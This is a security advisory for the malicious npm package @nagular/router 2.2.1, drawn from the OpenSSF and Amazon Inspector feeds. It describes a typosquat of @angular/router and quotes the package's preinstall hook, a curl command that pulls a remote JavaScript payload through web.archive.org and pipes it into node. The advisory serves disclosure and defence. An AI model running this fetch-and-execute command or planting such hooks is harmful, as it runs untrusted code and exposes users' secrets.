@nagular/router

Details

**Severity:** Critical

**Affected versions:** `= 2.2.1`

## Source: amazon-inspector (5db05365620b3f716b28b41577e593bc35a6699aee20090951158c206c2585ca)
package.json declares a preinstall lifecycle hook that runs `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`, fetching an opaque JavaScript payload from an unrelated third-party repository (gitflic.ru/hellscripter/install-scripts) proxied via web.archive.org and piping it directly into node at `npm install` time. The fetched bytes are not pinned by hash or version, the host is unrelated to the declared repository (pillarjs/router) or publisher domain (somethingdoug.com), and execution happens automatically with full user privileges on every install. Package metadata further impersonates the maintainer of the legitimate pillarjs/router package (author: Douglas Christopher Wilson) and uses the scope `@nagular/router`, a name likely to be confused with `@angular/router`, consistent with a typosquat lure designed to trick installers into running the preinstall dropper.

---

Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/ae1ef40954ea15dd560720d58f647c9880afc699/osv/malicious/npm/@nagular/router/MAL-2026-17500.json))

**References:**
- https://github.com/ossf/malicious-packages/blob/ae1ef40954ea15dd560720d58f647c9880afc699/osv/malicious/npm/@nagular/router/MAL-2026-17500.json
- https://www.npmjs.com/package/@nagular/router/v/2.2.1
- https://github.com/ossf/malicious-packages/blob/7ee44994dad323ce5910731c56db21300729864a/osv/malicious/npm/@nagular/router/MAL-2026-17500.json
- https://www.npmjs.com/package/@nagular/router
- https://github.com/advisories/GHSA-cg42-crqv-qjm9

Compromised versions (1)

• = 2.2.1

Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.